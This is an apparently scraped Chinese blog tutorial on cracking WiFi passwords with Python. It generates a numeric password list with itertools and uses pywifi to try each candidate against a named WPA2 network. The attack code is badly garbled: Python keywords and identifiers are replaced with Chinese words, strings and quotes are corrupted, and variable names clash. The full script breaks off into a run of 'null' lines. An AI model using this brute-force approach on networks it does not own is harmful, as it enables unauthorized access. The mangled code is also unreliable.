使用Python破解wifi密码的方法

  介绍

这篇文章将为大家详细讲解有关使用Python破解wifi密码的方法,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

<强>首先要生成密码本

对于这个密码本就是我们常用的密码,一般是有数字,字母和符号组成。而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法。这里用到的库出现是itertools,没有的可以使用出现pip安装itertools在DOS命令下安装,这个密码本生成很简单,就是几行代码而已。接下来我们一起分析。同样,我们先一步一步分析,后面会附上完整代码。

这里使用一个迭代器,就是我们需要生成密码所有的字符,可以是数字,符号和字母,我这里采用的是纯数字,是为了方便和节约时间。

词=?234567890“

下面就是生成密码的位数,但是这里要注意的是这个要考虑到电脑的配置,我生成七位的密码花了十多分钟,生成的文件大小约有85米,所以大家根据情况生成。

r=its.product(话说,重复=4)

因此生成的密码一般是字符串,而我之前生成的是单个的字符,所以我采用加入,使用空格链接。

dic.write . join (i)) (““

好了,记下来就是完整的代码:

import  itertools  as 它的   ,#迭代器   话说=?234567890”;   #生成密码本的位数,五位数,重复=5   r=its.product(话说,重复=3)   #保存在文件中,追加   dic=开放(“。/password.txt",“a")   #我是元组   for 小姐:r拷贝:   ,,,#慈恩空格链接   ,,,dic.write . join (i)) (““   ,,,dic.write (““. join (“\ n"))   ,,,(i)打印   dic.close ()   print(“密码本已生成“)

<强>破解wifi密码

这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip安装pywifi,很简单就安装成功了,我用的是Python3,所以各位看的时候需要注意这一点。接下来我们一步一步分析主要代码,后面同样附上完整的代码。对了,需要注意一点,就是电脑必须是要用无线网卡的。

首先我们需要判断电脑是否已经连接无线,创建一个无线对象,获取无线网卡。

wifi=pywifi.PyWiFi ()   #获取无线网卡   ifac=wifi.interfaces () [0]   打印(ifac)

使用这行代码就可以获取电脑无线网卡的名称:

打印(ifaces.name ())

要判断是否连接无线,我们需要导入一个常量库:

得到pywifi  import  const

创建无线连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看WiFi的加密算法,一般WiFi加密算法为WPA2相移键控,检查加密单元。代码如下:

概要=pywifi.Profile ()   #要连接WiFi的名称   profile.ssid=癹iayi"   #网卡的开放状态   profile.auth=const.AUTH_ALG_OPEN   # wifi加密算法,一般wifi加密算法为   profile.akm.append (const.AKM_TYPE_WPA2PSK)   #加密单元   profile.cipher=const.CIPHER_TYPE_CCMP

删除所有连接过的wifi文件,重新设定新的连接文件,设置无线连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0。

 #密码本路径
  路径=癈:/用户/华硕/桌面/password.txt"
  #打开文件
  文件=打开(路径,“r")
  while 真正的:
  ,,,试一试:
  ,,,,,,,#一行一行读取
  ,,,,,,,垫=file.readline ()
  ,好了,接下来就是完整的代码。
  #,编码:utf - 8
  import  pywifi
  得到pywifi  import  const
  import 时间
  ,
  #测试连接,返回链接结果
  def  wifiConnect (pwd):
  ,,,#抓取网卡接口
  ,,,wifi=pywifi.PyWiFi ()
  ,,,#获取第一个无线网卡
  ,,,ifac=wifi.interfaces () [0]
  ,,,#断开所有连接
  ,,,ifaces.disconnect ()
  ,,,time . sleep (1)
  ,,,wifistatus=ifaces.status ()
  ,,,if  wifistatus ==const.IFACE_DISCONNECTED:
  ,,,,,,,#创建无线连接文件
  ,,,,,,,profile=pywifi.Profile ()
  ,,,,,,,#要连接WiFi的名称
  ,,,,,,,profile.ssid=癹iayi"
  ,,,,,,,#网卡的开放状态
  ,,,,,,,profile.auth=const.AUTH_ALG_OPEN
  ,,,,,,,# wifi加密算法,一般wifi加密算法为wps
  ,,,,,,,profile.akm.append (const.AKM_TYPE_WPA2PSK)
  ,,,,,,,#加密单元
  ,,,,,,,profile.cipher=const.CIPHER_TYPE_CCMP
  ,,,,,,,#调用密码
  ,,,,,,,profile.key=pwd
  ,,,,,,,#删除所有连接过的wifi文件
  ,,,,,,,ifaces.remove_all_network_profiles ()
  ,,,,,,,#设定新的连接文件
  ,,,,,,,tep_profile=ifaces.add_network_profile(概要)
  ,,,,,,,ifaces.connect (tep_profile)
  ,,,,,,,#无线连接时间
  ,,,,,,,time . sleep (3)
  ,,,,,,,if  ifaces.status ()==const.IFACE_CONNECTED:
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null

使用Python破解wifi密码的方法